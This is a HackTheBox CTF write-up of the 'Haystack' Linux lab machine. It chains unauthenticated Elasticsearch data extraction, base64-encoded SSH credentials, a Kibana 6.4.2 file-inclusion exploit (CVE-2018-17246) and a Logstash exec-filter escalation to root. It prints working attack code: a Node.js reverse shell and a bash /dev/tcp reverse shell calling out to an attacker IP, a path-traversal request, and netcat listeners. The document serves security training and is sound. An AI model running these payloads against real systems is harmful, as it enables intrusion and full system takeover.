HTB: Haystack Writeup

Haystack - HackTheBox Writeup

Machine Information

AttributeDetails
NameHaystack
OSLinux
DifficultyEasy
PointsN/A
Release Date20 October 2019
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Haystack is an Easy difficulty Linux box running the ELK stack (Elasticsearch, Logstash, and Kibana). The vulnerability chain involves enumerating an unprotected Elasticsearch instance to discover base64-encoded SSH credentials, gaining initial access as the security user, and then exploiting a file inclusion vulnerability (CVE-2018-17246) in Kibana 6.4.2 to achieve RCE as the kibana user. Finally, privilege escalation occurs through misconfigured Logstash filters that execute arbitrary commands as root based on file content matching.

TL;DR: Elasticsearch enumeration → Base64 credentials → SSH foothold → Kibana LFI (CVE-2018-17246) → Logstash filter RCE → Root shell


Reconnaissance

Port Scanning

Terminal window
# Initial scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.10.115
# Detailed service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.115

Results:

  • Port 22/TCP - SSH (OpenSSH)
  • Port 80/TCP - HTTP (Nginx) - Serves a needle image
  • Port 9200/TCP - Elasticsearch HTTP API

Service Enumeration

Elasticsearch Discovery

Port 9200 is the default Elasticsearch HTTP API port. Accessing it returns JSON metadata confirming the service:

Terminal window
# Enumerate Elasticsearch indices
curl -s http://10.10.10.115:9200/_cat/indices?v

Identified Indices: quotes, bank, .kibana

Extracting Data from Quotes Index

The quotes index contains 253 entries. We can retrieve them all using the search API:

Terminal window
# Count entries in quotes index
curl -s 'http://10.10.10.115:9200/quotes/_count'
# Retrieve all 253 entries
curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] | ._source.quote' > /tmp/quotes
# Display results
cat /tmp/quotes

Vulnerability Assessment

Identified Issues:

  1. Unprotected Elasticsearch Instance - No authentication required on port 9200
  2. Sensitive Data Exposure - Base64-encoded credentials stored in plaintext documents
  3. Kibana 6.4.2 LFI Vulnerability - CVE-2018-17246 in /api/console/api_server endpoint
  4. Misconfigured Logstash Filters - Filters execute arbitrary commands as root based on file patterns

Initial Foothold

Exploitation Path

Step 1: Extract Base64 Credentials from Elasticsearch

While reviewing the quotes in Spanish, two entries stand out containing base64 data:

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

Decoding these strings:

Terminal window
# Decode first base64 string
echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
# Output: user: security
# Decode second base64 string
echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
# Output: pass: spanish.is.key

Credentials Obtained: security:spanish.is.key

Step 2: SSH Access

Terminal window
# Connect via SSH with discovered credentials
ssh security@10.10.10.115

Result: Successfully authenticated as the security user.


Privilege Escalation

Step 1: Discover Kibana on Localhost

Once inside the system, enumerate listening ports:

Terminal window
# Check listening services (netstat unavailable, using ss)
ss -4ln
# Output shows Kibana listening on 127.0.0.1:5601

Step 2: Port Forward Kibana

Terminal window
# Forward local port 5601 to remote Kibana
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N

Access Kibana at http://localhost:5601

Step 3: Identify Kibana Version and Vulnerability

Terminal window
# Check Kibana version via API
curl -s http://localhost:5601/api/status | jq '.version.number'

Version: 6.4.2 → Vulnerable to CVE-2018-17246 (File Inclusion in /api/console/api_server)

Step 4: Exploit CVE-2018-17246 for RCE

Create a Node.js reverse shell payload:

Terminal window
# Create shell.js with Node.js reverse shell
cat > /tmp/shell.js << 'EOF'
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "10.10.14.7", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents Node.js application from crashing
})();
EOF

On your attack machine, start a reverse shell listener:

Terminal window
nc -lvnp 1234

Trigger the file inclusion exploit:

Terminal window
# Exploit LFI to execute shell.js
curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/shell.js'

Result: Reverse shell received as kibana user.

Step 5: Access Logstash Configuration

Terminal window
# Enumerate files accessible to kibana user
find / -user kibana 2>/dev/null | grep -v /usr | grep -v /proc
# Discover /etc/logstash/conf.d directory
ls -la /etc/logstash/conf.d/

Step 6: Analyze Logstash Configuration

input.conf:

input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}

Logstash monitors /opt/kibana/logstash_* files every 10 seconds.

filter.conf:

filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}

The grok filter extracts commands following “Ejecutar comando :” pattern.

output.conf:

output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}

The exec plugin executes the extracted command as root.

Step 7: Create Malicious Logstash File

Terminal window
# Test with whoami command
echo 'Ejecutar comando : whoami > /tmp/user' > /opt/kibana/logstash_execute
# Wait 10 seconds for Logstash to process
sleep 12
cat /tmp/user
# Output: root (confirms command execution as root)

Step 8: Achieve Root Shell

Terminal window
# Create reverse shell payload
echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.7/4444 0>&1' > /opt/kibana/logstash_exec
# On attack machine, set up listener
nc -lvnp 4444
# Wait for Logstash to process (10 seconds) and receive root shell

Result: Interactive root shell acquired.


Attack Chain Summary

Elasticsearch Enumeration
Extract Base64 Credentials (security:spanish.is.key)
SSH Foothold as 'security' User
Port Forward Kibana (127.0.0.1:5601)
Identify Kibana 6.4.2 (CVE-2018-17246)
Exploit LFI via /api/console/api_server
RCE as 'kibana' User
Discover Logstash Configuration Files
Analyze Logstash Filters (file monitoring + exec plugin)
Create Malicious File in /opt/kibana/
Root Command Execution (via Logstash exec filter)
Root Shell

Tools Used

ToolPurpose
nmapNetwork port scanning and service enumeration
curlHTTP requests to Elasticsearch and Kibana APIs
jqJSON parsing and data extraction
base64Decoding base64-encoded credentials
sshRemote SSH access and port forwarding
netcatReverse shell listener
grep/findFile and directory enumeration

Key Learnings

Techniques Practiced

  • Elasticsearch API enumeration and data extraction
  • Base64 encoding/decoding for credential recovery
  • SSH port forwarding for accessing internal services
  • CVE-2018-17246 exploitation (Kibana LFI)
  • Node.js reverse shell payload construction
  • Logstash configuration analysis
  • Grok filter pattern matching
  • File-based command execution chains
  • Privilege escalation through configuration mismanagement

Lessons Learned

  1. Unprotected databases are critical vulnerabilities - Direct access to Elasticsearch without authentication allowed complete data extraction including credentials.

  2. Encoding is not encryption - Base64 encoding credentials provides no security and should never be used as a substitute for proper secrets management.

  3. Version-specific CVEs require specific payloads - The Kibana LFI vulnerability required understanding Node.js execution context and reverse shell construction.

  4. File monitoring patterns can be exploited - Logstash’s file glob patterns combined with unsafe exec commands created a privilege escalation path.

  5. Defense in depth matters - Multiple security failures (unprotected Elasticsearch → outdated Kibana → unsafe Logstash config) were necessary to achieve root compromise.

  6. Command injection through filters - Grok patterns extract user-controllable data that flows directly to exec commands, enabling OS command injection.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>